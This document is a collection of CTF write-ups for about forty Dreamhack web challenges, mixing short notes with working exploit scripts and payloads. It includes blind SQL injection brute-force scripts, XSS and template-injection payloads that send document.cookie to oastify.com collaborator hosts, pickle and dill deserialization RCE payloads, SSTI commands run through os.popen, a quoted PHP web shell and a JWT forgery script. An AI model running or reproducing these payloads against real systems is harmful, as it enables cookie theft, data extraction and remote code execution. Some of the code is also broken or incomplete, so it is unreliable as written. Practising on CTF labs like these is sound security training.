# Dreamhack Web level 2
#### 1. Mango (no)







```
import requests
import string
url = "http://host1.dreamhack.games:14538/login"
charset = string.ascii_letters + string.digits + "{}"
result = ""
maxlen = 32 # Độ dài flag
for i in range(maxlen):
for k, v in enumerate(charset):
payload = "?uid[$regex]=ad.&upw[$regex]={" + result + v
response = requests.get(url + payload)
if "admin" in response.text:
result += v
print("Found:", result)
break
flag = "DH{" + result + "}"
print("Flag:", flag)
```

#### 2. web-ssrf


code check url have localhost or 127.0.0.1 print error image

random port from 1500 to 1800




#### 3. blind-command







#### 4. blind sql injection advanced






Check if the first letter of the upw of the admin account is D = 1000100 and msb is 1
'D' → ord = 68 → bin(68) = '1000100' → substr(...,1,1) = '1'

Check the number of bits for each character, it is 7

```
import requests
url = "http://host8.dreamhack.games:21413/"
def get_length():
for num in range(1, 100):
payload = f"admin' and length(upw)={num}-- ';"
response = requests.get(url, params={"uid": payload})
if "exists" in response.text:
print(f"Found matching length: {num}")
break
return num
def bit_length_per_char(i):
bit_length = 0
while True:
bit_length += 1
payload = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- ';"
response = requests.get(url, params={"uid": payload})
if "exists" in response.text:
break
print(f"Bit length for character {i}: {bit_length}")
return bit_length
def bits_per_char(i, bit_length):
bits = ""
for j in range(1, bit_length + 1):
payload = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- ';"
response = requests.get(url, params={"uid": payload})
if "exists" in response.text:
bits += "1"
else:
bits += "0"
print(f"Bits for character {i}: {bits}")
return bits
def main():
length = get_length()
flag = ""
for i in range(1, length + 1):
bit_length = bit_length_per_char(i)
bits = bits_per_char(i, bit_length)
flag += int(bits, 2).to_bytes((len(bits) + 7) // 8, byteorder='big').decode()
print(f"Recovered flag: {flag}")
if __name__ == "__main__":
main()
```


#### 5. funjs
```
<script>
var box;
window.onload = init;
function init() {
box = document.getElementById("formbox");
setInterval(moveBox,1000);
}
function moveBox() {
box.posX = Math.random() * (window.innerWidth - 64);
box.posY = Math.random() * (document.documentElement.scrollHeight - 64);
box.style.marginLeft = box.posX + "px";
box.style.marginTop = box.posY + "px";
debugger;
}
function text2img(text){
var imglist = box.getElementsByTagName('img');
while(imglist.length > 0) {imglist[0].remove();}
var canvas = document.createElement("canvas");
canvas.width = 620;
canvas.height = 80;
var ctx = canvas.getContext('2d');
ctx.font = "30px Arial";
var text = text;
ctx.fillText(text,10,50);
var img = document.createElement("img");
img.src = canvas.toDataURL();
box.append(img);
};
function main(){
var _0x1046=['2XStRDS','1388249ruyIdZ','length','23461saqTxt','9966Ahatiq','1824773xMtSgK','1918853csBQfH','175TzWLTY','flag','getElementById','94hQzdTH','NOP\x20!','11sVVyAj','37594TRDRWW','charCodeAt','296569AQCpHt','fromCharCode','1aqTvAU'];
var _0x376c = function(_0xed94a5, _0xba8f0f) {
_0xed94a5 = _0xed94a5 - 0x175;
var _0x1046bc = _0x1046[_0xed94a5];
return _0x1046bc;
};
var _0x374fd6 = _0x376c;
(function(_0x24638d, _0x413a92) {
var _0x138062 = _0x376c;
while (!![]) {
try {
var _0x41a76b = -parseInt(_0x138062(0x17f)) + parseInt(_0x138062(0x180)) * -parseInt(_0x138062(0x179)) + -parseInt(_0x138062(0x181)) * -parseInt(_0x138062(0x17e)) + -parseInt(_0x138062(0x17b)) + -parseInt(_0x138062(0x177)) * -parseInt(_0x138062(0x17a)) + -parseInt(_0x138062(0x17d)) * -parseInt(_0x138062(0x186)) + -parseInt(_0x138062(0x175)) * -parseInt(_0x138062(0x184));
if (_0x41a76b === _0x413a92) break;
else _0x24638d['push'](_0x24638d['shift']());
} catch (_0x114389) {
_0x24638d['push'](_0x24638d['shift']());
}
}
}(_0x1046, 0xf3764));
var flag = document[_0x374fd6(0x183)](_0x374fd6(0x182))['value'],
_0x4949 = [0x20, 0x5e, 0x7b, 0xd2, 0x59, 0xb1, 0x34, 0x72, 0x1b, 0x69, 0x61, 0x3c, 0x11, 0x35, 0x65, 0x80, 0x9, 0x9d, 0x9, 0x3d, 0x22, 0x7b, 0x1, 0x9d, 0x59, 0xaa, 0x2, 0x6a, 0x53, 0xa7, 0xb, 0xcd, 0x25, 0xdf, 0x1, 0x9c],
_0x42931 = [0x24, 0x16, 0x1, 0xb1, 0xd, 0x4d, 0x1, 0x13, 0x1c, 0x32, 0x1, 0xc, 0x20, 0x2, 0x1, 0xe1, 0x2d, 0x6c, 0x6, 0x59, 0x11, 0x17, 0x35, 0xfe, 0xa, 0x7a, 0x32, 0xe, 0x13, 0x6f, 0x5, 0xae, 0xc, 0x7a, 0x61, 0xe1],
operator = [(_0x3a6862, _0x4b2b8f) => {
return _0x3a6862 + _0x4b2b8f;
}, (_0xa50264, _0x1fa25c) => {
return _0xa50264 - _0x1fa25c;
}, (_0x3d7732, _0x48e1e0) => {
return _0x3d7732 * _0x48e1e0;
}, (_0x32aa3b, _0x53e3ec) => {
return _0x32aa3b ^ _0x53e3ec;
}],
getchar = String[_0x374fd6(0x178)];
if (flag[_0x374fd6(0x17c)] != 0x24) {
text2img(_0x374fd6(0x185));
return;
}
for (var i = 0x0; i < flag[_0x374fd6(0x17c)]; i++) {
if (flag[_0x374fd6(0x176)](i) == operator[i % operator[_0x374fd6(0x17c)]](_0x4949[i], _0x42931[i])) {} else {
text2img(_0x374fd6(0x185));
return;
}
}
text2img(flag);
}
</script>
```

Check var flag = document, it have 2 array (_0x4949 and _0x42931), and below look like operation +, -, *, /
Condition check length flag is 36 (0x24)
Remove debugger in function moveBox() to use debug
Let's check the values stored in the 0x1046[] array in the developer mode Scope.


If I substitute the information I found into the code,
```
var flag = document.getElementById('flag')['value']
for (var i = 0x0; i < flag.length; i++) {
if (flag.charCodeAt(i) == operator[i % operator.length](_0x4949[i], _0x42931[i])) {}
else {
text2img('NOP !');
return;
}
}
```
Each flag character is tested by an operation between two numbers from the arrays _0x4949 and _0x42931, with the operation varying by position (addition, subtraction, multiplication, XOR).
```
_0x4949 = [0x20, 0x5e, 0x7b, 0xd2, 0x59, 0xb1, 0x34, 0x72, 0x1b, 0x69, 0x61, 0x3c, 0x11, 0x35, 0x65, 0x80, 0x9, 0x9d, 0x9, 0x3d, 0x22, 0x7b, 0x1, 0x9d, 0x59, 0xaa, 0x2, 0x6a, 0x53, 0xa7, 0xb, 0xcd, 0x25, 0xdf, 0x1, 0x9c]
_0x42931 = [0x24, 0x16, 0x1, 0xb1, 0xd, 0x4d, 0x1, 0x13, 0x1c, 0x32, 0x1, 0xc, 0x20, 0x2, 0x1, 0xe1, 0x2d, 0x6c, 0x6, 0x59, 0x11, 0x17, 0x35, 0xfe, 0xa, 0x7a, 0x32, 0xe, 0x13, 0x6f, 0x5, 0xae, 0xc, 0x7a, 0x61, 0xe1]
operator = [
lambda a, b: a + b,
lambda a, b: a - b,
lambda a, b: a * b,
lambda a, b: a ^ b
]
flag = ""
for i in range(36):
val = operator[i % 4](_0x4949[i], _0x42931[i])
flag += chr(val)
print(flag)
```

#### 6. login-1




test login with guest:guest

create account give backup code

reset password give new backup code

check route /user/ can see level user


we need to get a account have level 1 to get flag
we need the backup code but code have count the reset pass

we have there account have User level 1

Request all backupcodes from 1 to 100 while delaying the time by 1 second with time.sleep(1).
Let's try each account






#### 7. sql injection bypass WAF Advanced






```
import requests
import string
url = "http://host1.dreamhack.games:13740/"
char = string.ascii_letters + string.digits + "{}_"
flag = ""
for i in range(1, 50):
for k, v in enumerate(char):
payload = f"'||(uid=concat('ad','min')&&substr(upw,{i},1)='{v}')#"
response = requests.get(url, params={"uid": payload})
if "admin" in response.text:
print(f"Found character {i}: {v}")
flag += v
print("Current flag:", flag)
break
print("Flag:", flag)
```

#### 8. CSP Bypass




web use Content-Security-Policy: default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-1f723b1283fff5269432dae929a71cd1'
* default-src : Restricts all resource sources to the same origin as the current page.
* img-src : Restricts image resources to the source https://dreamhack.io .
* style-src : Restricts stylesheet resources to the same origin as the current page, while allowing the use of inline styles as an exception.
* script-src : Restricts script tag permissions and sources to the same origin as the current page.
* object-src : Defines the sources allowed to load plugin-based objects, and in this case, it means objects cannot be loaded from any source.
https://csp-evaluator.withgoogle.com/

`<script src="/vuln?param=location.href='http://127.0.0.1:8000/memo?memo='%2Bdocument.cookie"></script>`
+ is written as %2b to prevent it from being interpreted as a space after URL decoding.


#### 9. baby-sqlite

'\t': tab character
'\n': newline or line feed
'\r': carriage return character # Moves the cursor to the beginning of the current line
'\x08': backspace character # Moves the cursor one space to the left and deletes the character at that location.
'\x09': Horizontal tab character # Works the same as '\t'
'\x00': Null character # Marks the end of a string
'\x0b': Vertical tab character # Moves the cursor to the next line in the output device
'\x0d': Carriage return character # Works the same as '\r'
' ': Space character # Adds spacing between text


/**/ - Multi-Line Comment
'+' is being filtered, let's use ||

we can use values() instead of select
blacklist have admin so i use char() in sqlite to cast it to ascii
`/**/union/**/values(char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e))`

#### 10. web-deserialize-python

I use method attack in this post
https://davidhamann.de/2020/04/05/exploiting-python-pickle/


To solve this problem, let's first look at how a session is created. The variable "info" contains the values for "name," "userid," and "password" in dictionary format, enclosed in curly braces ({}). This is then serialized using the dumps function, and the resulting byte stream is encoded in base64. Finally, it's decoded in UTF-8.
Eval () is a dangerous but convenient function: it executes a string python expression and returns results
```
import pickle
import base64
import os
class FLAG:
def __reduce__(self):
cmd = "open('./flag.txt', 'r').read()"
return (eval, (cmd,))
test = {'name': FLAG()}
print(base64.b64encode(pickle.dumps(test)).decode('utf8'))
```


#### 11. DOM XSS






When a load event occurs in the <script> syntax, the element with the id name is saved in name_elem, and then the location.hash.slice(1) entered by the user is set as the HTML of the element. This can cause a DOM XSS vulnerability because an attacker can execute the code they want by inserting a <script> tag with the id name and putting the script to be executed in location.hash.
If you write this as a script tag and 'alert(1);//' change the character after # to , the strings after it will be commented out and executed.
`param=<script%20id=name></script>#alert(1);//`

Let's steal cookie
```
<script id=name></script>#location.href='/memo?memo='+document.cookie;//
```


#### 12. file-csp-1


All we need to do is to trigger the application by CSP to reject function a and b and allow c and document
CSP has 2 main parts: directives and sources. These are examples:
* default-src 'none';
* img-src 'self';
* script-src 'self' https://code.jquery.com;
* style-src 'self';
* report-uri /__cspreport__
* font-src 'self' https://addons.cdn.mozilla.net;
* frame-src 'self' https://ic.paypal.com https://paypal.com;
* media-src https://videos.cdn.mozilla.net;
* object-src 'none';
Directives are default-src, img-src, script-src, which are used to define the source of each resource on the website. According to the source code in csp.html, we have to focus on script-src. This directive specifies allowed sources for JavaScript.
Test with script-src+'nonce-i_am_super_random' code block

Back to the website, let’s try this csp on test: script-src 'none'. This means the browser will not load any javascript files. (Use Chrome)

What we need to allow is the sha256-hash value in line live:20, so if we set csp as shown below and check, we can see that only c is allowed.

Use the link https://code.jquery.com/jquery-3.4.1.slim.min.js we can see that only c and jquery is allowed.

```
script-src 'sha256-l1OSKODPRVBa1/91J7WfPisrJ6WCxCRnKFzXaOkpsY4=' https://code.jquery.com/jquery-3.4.1.slim.min.js
```
Combine them and see result

#### 13. [Client Side Template Injection](https://book.hacktricks.wiki/en/pentesting-web/client-side-template-injection-csti.html)


If you check that CSP is set, the source https://ajax.googles.com is allowed.
The point is that it is designed to use AJAX. Since the problem is CSTI, it is a problem of using AngularJS among AJAX-related libraries.
I think you can load it as script src in html ng-app and write the code with {{}}.

angular.js can load ajax.googles.com
I found some xss angular.js in [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/5%20-%20XSS%20in%20Angular.md) like {{constructor.constructor('alert(1)')()}}
So the payload to get cookie is {{constructor.constructor('location.href='memo?memo='+document.cookie')()}}
The basic payload format is
```
<html ng-app><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>{{constructor.constructor('alert(1)')()}}</html>
```

And it work. Finall payload is
```
<html ng-app><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>{{constructor.constructor("location.href='/memo?memo='+document.cookie")()}}</html>
```


#### 14. weblog-1
The challenges gives us a log file and source files. I will briefly analyze some important files.

Code change to excel
```
import pandas as pd
import re
log_file = 'access.log'
output_file = 'access.xlsx'
pattern = re.compile(r'(\S+) - - \[(.*?)\] "(.*?)" (\d{3}) (\d+)')
rows = []
with open(log_file, 'r', encoding='utf-8') as f:
for line in f:
match = pattern.search(line)
if match:
ip = match.group(1)
datetime = match.group(2)
request = match.group(3)
status = match.group(4)
size = match.group(5)
rows.append([ip, datetime, request, status, size])
df = pd.DataFrame(rows, columns=['IP', 'Datetime', 'Request', 'Status', 'Size'])
df.to_excel(output_file, index=False)
print(f'Done.')
```


check the error status 500


Let's extract the corresponding ASCII code values from the true query results.
97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,117,101,115,116







```
%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E
```


use date in file log: 02/06/2020



The web shell created is /uploads/images.php, so the first command executed is whoami.

#### 15. Relative Path Overwrite





RPO (Relative Path Overwrite) is a technique that exploits the browser’s handling of relative paths that do not match the actual path (when the `<base>`declaration is missing or incorrect), to: force the browser to load the HTML page itself as a CSS file or cause the browser to reprocess files incorrectly
RPO is often exploited in conjunction with XSS in CSS, or when there is a partially manipulated `<style>` or innerHTML
In this lab we need to get the cookie bypass the filter ["script", "on", "frame", "object"]
The way files are fetched from that page uses relative paths. This means that if you can change the path from which the files are fetched, filter.jsyou can prevent them from being fetched.
```
index.php/?page=vuln¶m=
```


```
<img src="123" onerror="location.href='http://f2ix971sx8zko3y554mxfv9ryi49szgo.oastify.com/?a'%2bdocument.cookie">
```





Catch request snd to Burp Collabter
In report.php code run bot.py to get flag. So full payload is:
```
index.php/?page=vuln¶m=<img src="123" onerror="location.href='http://f2ix971sx8zko3y554mxfv9ryi49szgo.oastify.com/?a'%2bdocument.cookie">
```


#### 16.Tomcat Manager

unzip the file ROOT.war



In docker file can see the path to tomcat-users.xml

Path traversal

Dowload file .xml and got password

Login to site



we can up load file war to the website
I use this file
https://github.com/jbarcia/Web-Shells/blob/master/laudanum/jsp/cmd.war



after upload just go to http://host8.dreamhack.games:14076/cmd/cmd.jsp and type command to find flag



#### 17. easy-login




login to get flag
password and otp is random
cred is encode base64

https://rst.hashnode.dev/bypassing-php-strcmp
PHP's strcmp() function only accepts strings as arguments, but it can cause unexpected behavior when passed values of other types. In particular, it returns NULL when passed an array as an argument. So just set pw =[]
In the case of otp, it compares with !=, but if you compare a string starting with P with the value 0, the compared string is converted to a number and converted to 0. Therefore, you can bypass it by inputting 0 as a value.
Create dictionary payload:
* id: "admin"
* pw: []
* otp: số 0
json.dumps(payload) change payload to JSON
.encode change JSON to bytes
b64encode encode to base64
.decode change base64 to string
```
import requests
import json
import base64
url = "http://host8.dreamhack.games:18880/"
payload = {"id":"admin","pw":[],"otp":0}
cred = base64.b64encode(json.dumps(payload).encode()).decode()
response = requests.post(url, data={"cred": cred})
print(response.text)
```

#### 18. [wargame.kr] md5 password


The part that needs to be looked at carefully is the argument passing part of the md5 function. When passing a value in the md5 function, the second argument is true. If a value is passed like this, a binary value is output instead of the original basic default value. This is where a vulnerability occurs. This is because a single quote (') can be created during the value passing and the process of converting it to an md5 hash. Also, the string becomes 0 during the typecasting process. Therefore, the query "test"=0 becomes true.
https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
I found this post and this is solution
129581926211651571912466741651878684928

#### 19. crawling



So, what happens if you use the URL shortener to pass it?
https://tinyurl.com/


#### 20. Addition calculator

code use eval() function and have filter some command

This problem was solved simply by reading only what was in flag.txt.
abcdefghihjlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 .()+
It says that only . can be entered. And we can use `open('flag.txt').read()` but flag is filtered so we can use chr(Decimal)

Within that range, I created it as follows.
```
open(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()
```

#### 21. Relative Path Overwrite Advanced
The basic code is almost identical to Relative Path Overwrite.


If filter is undefined or filtered due to reasons such as the filter.js file not being loaded, "nope !!" is printed.
If filtering is passed, it is inserted as innerHTML in the `<pre></pre>` tag with id as param
The reason why nope!! is appearing now is because the script for /filter.js is executed on the vuln page, but the file path is wrong and the file cannot be found. If you look at the developer tools, you can see that a file named filter.js is loaded, and because the file path is wrong, 404.php is loaded and the result is overwritten by filter.js

At this point, if you want to make the code of filter.js that is loaded alert(1) while inserting a script statement in the static part, you can do it as follows.
In URL requests, / and // are interpreted as the same.
To ensure that it runs without errors, use / twice to make the request.

Now, as shown below, we use the report page to have the bot access the malicious URL of the attack, and the content is requested by including the flag in the bot's cookie as a path in the request bean.
```
index.php/;location.href='http://p0qe8ls20q8td820yq0wwj5ozf56twhl.oastify.com/'+document.cookie;//?page=vuln¶m=dreamhack
```
This time it's +, not %2b. The reason for this is, of course, that the script syntax is stored in a file, not a url.


#### 22. Dream Gallery

This is the feature of lfi challenge, we need to provide url for local to read and finally will base64 encode and hide it in source
First, we will exploit the request page that sends a get request to the url and saves the image as the response value.
So you can send a request like this:
Since file:// is being filtered as a whole, enter only / and bypass the filtering by url encoding the flag string (f = %66).




#### 23. curling

Let's look at the part of the web app source where the flag is displayed.
It seems that it is displayed only when accessing '/api/v1/test/internal' from localhost.
Allow host dreamhack.io, tools.dreamhack.io
The string must not end with "/test/internal".
The host can be bypassed by parsing the URL. The URL format is as follows:

```
http://dreamhack.io:password@127.0.0.1/api/v1/test/internal
```
This can bypass Allow host. However, as it is, the URL ends with "/test/internal" so using # can bypass it
and it need the port in the local machine
```
http://dreamhack.io:password@127.0.0.1:8000/api/v1/test/internal #
```

Or you can code to have the flag
```
import requests as r
import json
url = "http://host8.dreamhack.games:16933/api/v1/test/curl"
data = {"url": "http://dreamhack.io:password@127.0.0.1:8000/api/v1/test/internal #"}
res = r.post(url, data=data)
if res.status_code==200:
print(res.text)
```
#### 24. Secure Secret

so the flag_path hide in session


412e854ad113b13624d0ca623213e7b21f32959f9f966ba8fb270ade4da336dc/flag

You can use flask-unsign to get the path
https://github.com/Paradoxis/Flask-Unsign

#### 25. Hello, go!

Look like SSTI in Go, code blog text flag


In this problem, we use the echo framework by importing "[github.com/labstack/echo/v4](https://github.com/labstack/echo/blob/master/context.go)".
.File .Attachment .Inline can work


```
{{$x:=.Echo.Filesystem.Open "/etc/passwd"}}{{$x.Seek 0 0}}{{ .Stream 200 "text/plain" $x}}
```
https://payatu.com/blog/ssti-in-golang/




#### 26. [wargame.kr] crack crack crack it

crack this password blueh4g:$1$KX2m/Bvb$97JoeHRl8GNPTaRyxuwg./
Password begin with 'G4HeulB' and the other chars is composed of number, lower alphabet only.
The provided hash is in MD5 crypt format, common for Unix passwords, indicated by the $1$ prefix.

Using john


#### 27. LiteBoard


look like sql injection


Through order by, we found that two columns are being returned.

I confirmed that the value entered in the second column appears

sqlite

get name table and have table posts

get Column information

Hmm, I have no idea where the FLAG is. Is it in the README?

There's only one! I think I can just print it out.

#### 28. [wargame.kr] dmbs335



The input for search_cols is split by the pipe character (). Each part of the split string must match the regular expression `^(subject|content|writer)$` to be considered valid. If a part doesn't match this regex, it's ignored, and the corresponding value in the query becomes empty. This is a sanitization check to limit searches to specific columns (subject, content, or writer).
The code uses `addslashes()` to escape special characters in the `$keyword` variable.
The operator value is processed through a `getOperator` function. This function only allows "AND" or "OR" as valid operators, limiting how conditions can be combined in the query.
`query_parts` is not always initialized (set to a value) under certain conditions. This allows an attacker to manipulate the overall SQL query because the variable can be directly influenced or overridden if it's left unset.
The code uses `parse_str($_SERVER['QUERY_STRING']);` to parse the URL query string and automatically create variables from it. This function is powerful but dangerous, as it turns query parameters directly into PHP variables without much filtering. An attacker can inject custom parameters to control the code's behavior.
To exploit this, we need to prevent `query_parts` from being properly initialized, so we can inject our own malicious SQL.
`query_parts` is set inside an `if($col)` conditional statement. If `$col` is empty or invalid, this block is skipped, leaving `query_parts` unset and vulnerable.
To make `$col` empty: Pass a value for search_cols (which affects `$col`) that does not match the regex `^(subject|content|writer)$`. For example, use an invalid or empty value like `a`.
Once that's done, we can inject SQL via query_parts to bypass the WHERE clause.
We use a comment character `(#)` at the end to ignore any remaining parts of the original query.
```
search_cols=a&keyword=&operator=&query_parts=0 union select 1,2,3,4#
```

I found the table have flag

I found the column have flag


#### 29. [wargame.kr] jff3_magic



We are suggested that swp, I searched and it is swap file, which is the editor of vi/vim on linux. I found an index.php file, I tried to download the file created when the developer created this file by : /.index.php.swp and it loaded




We need password user admin
I found this github that collects values for a magic hash attack using loose comparison in the PHP hash algorithm. Just using haval128,5 (KrRepI8+) and have the flag
https://github.com/spaze/hashes/blob/master/haval128%2C5.md

I use method sql blind to get flag
If no = 0 admin appear


If we can pass from no, sqli is possible and since it only returns id, we should try to do blind sqli using this.
```
hash('haval128,5', $_POST['pw'], false) == mysqli_real_escape_string($connect, $userinfo['pw'])
```
The pw information entered will be hashed haval128,5 and loosely compared == with the pw hash in the database
Looking at the code above , you can see that a hash is used when accessing the password. This hash has a length of 32, so we can skip the part that calculates the length.
So first charactor of the password is 0:
37 - % in ASCII
```
select * from member where no=-1||pw like concat(pw, char(48,37))
select * from member where no=-1||pw like '0%'
```

```
import requests
url = 'http://host8.dreamhack.games:17663/index.php'
pw = ''
for _ in range(32):
for c in char:
q = f"?no=-1||pw like concat('{pw}',char({ord(c)},37))"
r = requests.get(url + q)
if 'admin' in r.text:
pw += c
print(pw)
break
```

so it is still 0e from the beginning. In addition, you know the hash algorithm (haval128,5).
You can obtain FLAG by finding the Magic Hash value and entering it.

#### 30. filestorage



test send a file



If we look at the setValue function, there is a prototype pollution vulnerability. You can put values like __proto__, prototype, in the key argument.constructor
You can see that the '/test' path contains parameter names func, filename, and rename. It reacts differently depending on '/test?func=rename' and '/test?func=reset'. setValuesetValue is used when the func parameter is rename. Therefore, `/test?func=rename&filename=__proto__.filename&rename=../../../../../flag` if you request with , you can see that a rename response is received.
If you look at the dockerfile, you can see that the flag arbitrary value is stored in /flag, but if you do not provide a filename parameter value in /readfile, the BISC{fake flag} value is output. Also, since the value readfile[filename] below `.` is deleted when going to the second branch, you can see that you should not provide a parameter value in the /readfile path.
Therefore, the exploitation process is as follows. The fake value is cleared through the reset value, and the /flag value must be read to enter the /readfile path and read the flag value.
1. /test?func=rename&filename=__proto__.filename&rename=../../../../../flag

2. /test?func=reset

3. /readfile

#### 31. weird legacy


There was an /fetch additional page. The page receives the url, `host !== "localhost" && !host.endsWith("localhost")` performs simple verification ( ), and rejectedreturns or executes the code below.
So i found this link have same vulnerability
https://medium.com/code-kiwi-com/hacking-node-js-legacy-url-api-38208f9dc3f5
The reason is `const urlObject = new URL(url);`
This vulnerability is a vulnerability that allows for hostname spoofing because, when a string outside the isValid range exists during the hostname parsing process, the hostname parsing is stopped and `/` is added in front of the remaining string.
For example, `http://localhost*.test.com` in the case of , if parsed through node url.parse, `http://localhost/*.test.com` it is converted to , where the hostname is parsed as localhost.
Flag hide in headers Cookie so i make request and send to my server


#### 32. safe input




we need to get cookie to get flag
In fact, I was able to confirm that when I entered 1234 in the text and sent the request, the input value was inserted as is.

Next, I accessed the report page and entered any value into the form, but failed was displayed.

In /test this is an XSS vulnerability. If you enter `</script>;<script>alert('XSS')</script>` in the text parameter, you can escape the javascript syntax and execute alert(XSS). If you look at test.html at this point, you can see that the user input (test) is inserted directly into the JavaScript string.

So, we will close it by matching the input value format and insert a script statement that requests the cookie value using fetch().
```
</script>;<script>fetch('http://nwn4k8ebnx8a6zdrpob9nqrv0m6du4it.oastify.com?flag=' + document.cookie);</script>
```


#### 33. Hangul


unicodedata.normalize("NFKC", message)
If you look at this part, you can see that the message value received as input is normalized to Unicode.
using full-width characters
https://dencode.com/en/string/character-width
{{7*7}}

{{config.items()}}

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

This challenge look like Hangul - Revenge in level 1
#### 34. Black-Hacker-Company



You can check the response of the URL by entering the URL in the url parameter in /user-page.
Must include one of ALLOW_HOST and none of BLASK_LIST.
In curl, a request is made to http://<username>@<host>:<port>, and the request is made to host:port after @.

You must obtain a token by passing a password to the access-token path. Because the number of possible scenarios is limited, a brute force attack is used.
Password generate a random number between 0 and 255 and formatting it as a two-digit hexadecimal value





I get token so just go to admin and get flag

#### 35. Bookwish


After read the code, this challenge look like sql blind

When i use command sleep(5), after 5s web respone.

https://hacklido.com/blog/144-time-based-blind-sql-injection-on-mysql-how-to-do-manually
It's time based. So i check the first charactor of the flag is 'D', after 5s web respone -> The query is true
If i change to 'A', web respone immediately -> The query is false

Length of the flag is 36

```
mport time
url = "http://host1.dreamhack.games:21252/"
characters = "0123456789abcdef}"
flag = ""
for i in range(4, 36):
for c in characters:
payload = f"1'AND IF(SUBSTR((SELECT author FROM requests WHERE book_title = 'FLAG' LIMIT 1),{i},1)='{c}', SLEEP(4), 0)#"
data = {
"title": "test",
"author": payload
}
start_time = time.time()
response = requests.post(url, data=data)
end_time = time.time()
if end_time - start_time > 3.5:
flag += c
print(f"Found character {i}: {c}")
break
if flag.endswith('}'):
break
print(f"Flag: DH{{{flag}}}")
```

#### 36. Are you admin?




I found XSS in page /intro

I need to access the /whoami endpoint as the admin user, which requires their Basic Authorization credentials.
I plan to use XSS vulnerability in the /intro endpoint, which the admin accesses through /report, to get those credentials
```
/intro?name=<script>document.location="http://8jsutzxwfosc3snk57t4vum65xbozfn4.oastify.com"</script>&detail=test
```

I have the admin user's Basic Authorization credentials.


And now I have flag

#### 37. node-serialize



This is [CVE-2017-5941](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
I use this to get flag
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Node.md
In docker file have curl so i can use this to curl to my server and get flag

The flag is /app/flag at (The flag format is FLAG{})


#### 38. PTML




This web allow only upload svg file

In the main app.py source code, flag store in cookie in page /readfile
In the static app.py have the code allow element in svg
If you open the default.svg file provided in the problem with a text editor, you can see that the svg tag is the root tag, as shown below.

I use image element to test xss and it work
```
<svg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>
<image href="1" onerror="alert(document.cookie)" />
</svg>
```

So i just use location.href and send cookie to my server
```
<svg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>
<image href="1" onerror="location.href='http://fve15693rv4jfzzrhe5b71ydh4nxbnzc.oastify.com/?flag='+document.cookie" />
</svg>
```


#### 39. development-env




I think this is JWT vulnerability
Login by guest:guestPW




When I checked the section in /validate where the error occurred, I could see that part of the backend code was exposed, so the key was to find the code to expose.
If you look at the backcode of the validation page, you can see that generateJWT is used, and the key used for it is hardcoded.
Then, if you put the MSIE string in User-Agent and run it, you can obtain the key value.

So just create new cookie use the key value and set uid to admin


```
import requests
url = "http://host8.dreamhack.games:15208/"
header = {
# "Content-Type": "application/json"
"User-Agent": "MSIE 6.0"
}
data = {
"id": "guest",
"pw": "guestPW"
}
response = requests.post(url + "/validate", headers=header, data=data)
# print("Response: " + response.text)
j = response.json()
frames = j["detail"]["frames"]
jwt_key = None
for f in frames:
if "source" in f:
for line, src in f["source"].items():
if "generateJWT" in src["code"]:
part = src["code"]
jwt_key = part.split('"')[3]
break
print("JWT key:", jwt_key)
def generate_jwt(uid, key):
import jwt
import datetime
payload = {
"uid": uid,
}
token = jwt.encode(payload, key, algorithm="HS256")
return token
malicious_jwt = generate_jwt("admin", jwt_key)
print("Malicious JWT:", malicious_jwt)
cookies = {
"auth": malicious_jwt
}
response = requests.get(url, cookies=cookies)
print("Response:", response.text)
```
#### 40. Special Letter Translator



Deserialize base64 encoded data via dill.loads on the translator page.
RCE is possible because of a deserialization vulnerability in dill. However, the request can only be sent if a VIP token is present.
If login by account vip in code, page return VIP Token type jwt

Use jwt key and set cookie value Authorization:jwt key to access /translator and /letter. In letter i send name = test and tendinous = test, code call dill.dumps and base64. I use the value get form /letter and paste to /translator web print the name and tendinous. So i can use this to get flag



I use [this link](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) to craft code to get flag.
```
import dill
import base64
import os
class A:
def __reduce__(self):
cmd = "open('./flag.txt', 'r').read()"
return (eval, (cmd,))
test = {"name": "name", "tendinous": A()}
payload = dill.dumps(test)
encode_payload = base64.b64encode(payload)
print(encode_payload)
```
Run the code and paste to /translator and get flag

